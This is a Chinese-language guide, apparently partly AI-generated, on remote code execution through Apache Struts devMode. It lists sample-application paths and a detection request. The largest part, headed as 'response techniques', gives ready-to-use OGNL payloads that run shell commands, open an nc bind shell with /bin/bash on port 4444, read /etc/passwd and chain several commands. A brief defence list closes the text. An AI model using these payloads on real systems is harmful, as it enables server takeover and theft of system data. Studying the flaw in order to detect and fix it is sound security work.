Apache Struts框架远程代码执行问题分析与应对指南
前言
Apache Struts是一个基于JavaEE的开源Web应用框架,采用MVC架构模式。在安全测试过程中,Struts框架的devMode配置不当可能导致严重的远程代码执行(RCE)问题。本文将深入分析该问题的原理、检测方法和应对技巧。
问题原理
当Struts框架配置文件中设置了struts.devMode=true
时,框架会处理传递给每个函数调用的额外参数。这个开发模式本意是方便调试,但错误地将其保留在生产环境中会带来严重安全隐患。
<constant name="struts.devMode" value="true" />
检测devMode是否启用
检测方法
-
寻找示例应用:Struts通常会附带一些示例应用程序,这些应用是检测的理想目标
-
发送测试请求:向目标应用发送包含特殊参数的请求,观察响应
-
常用测试参数:
debug=command
debug=xml
debug=console
debug=browser
常见示例应用路径
Struts 1.x常见示例:
- struts-blank
- struts-examples
- struts-mailreader
Struts 2.x常见示例:
- struts2-blank
- struts2-showcase
- struts2-rest-showcase
测试请求示例
http://target/struts2-blank/example/HelloWorld.action?debug=command&expression=1%2b1
如果响应中包含计算结果"2",则确认devMode已启用且存在RCE问题。
问题应对
基本命令处理
利用expression
参数可以执行任意Java代码:
?debug=command&expression=new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder('uname -a').start().getInputStream())).readLine()
此payload会执行uname -a
命令并返回第一行输出。
高级应对技巧
1. 系统连接
使用String数组传递复杂命令参数:
?debug=command&expression=new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/nc','-l','-p','4444','-e','"/bin/bash -i"'}).start().getInputStream())).readLine()
此payload会在目标服务器上开启4444端口监听,等待连接。
2. 文件操作
读取服务器文件:
?debug=command&expression=new java.io.BufferedReader(new java.io.FileReader('/etc/passwd')).readLine()
3. 多命令处理
使用分号分隔多个命令:
?debug=command&expression=new java.lang.ProcessBuilder('sh','-c','id;uname -a;ifconfig').start()
防御建议
-
禁用devMode:生产环境中确保
struts.devMode=false
-
移除示例应用:部署前删除所有示例和测试应用
-
输入验证:对所有用户输入进行严格验证
-
最小权限原则:运行Struts应用的用户应具有最小必要权限
-
及时更新:保持Struts框架版本为最新
总结
Apache Struts的devMode配置不当会导致严重的远程代码执行问题。安全人员可以通过本文介绍的方法检测和验证该问题,而开发人员则应遵循安全最佳实践来避免此类风险。理解问题原理和应对方式对于构建安全的Web应用至关重要。
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考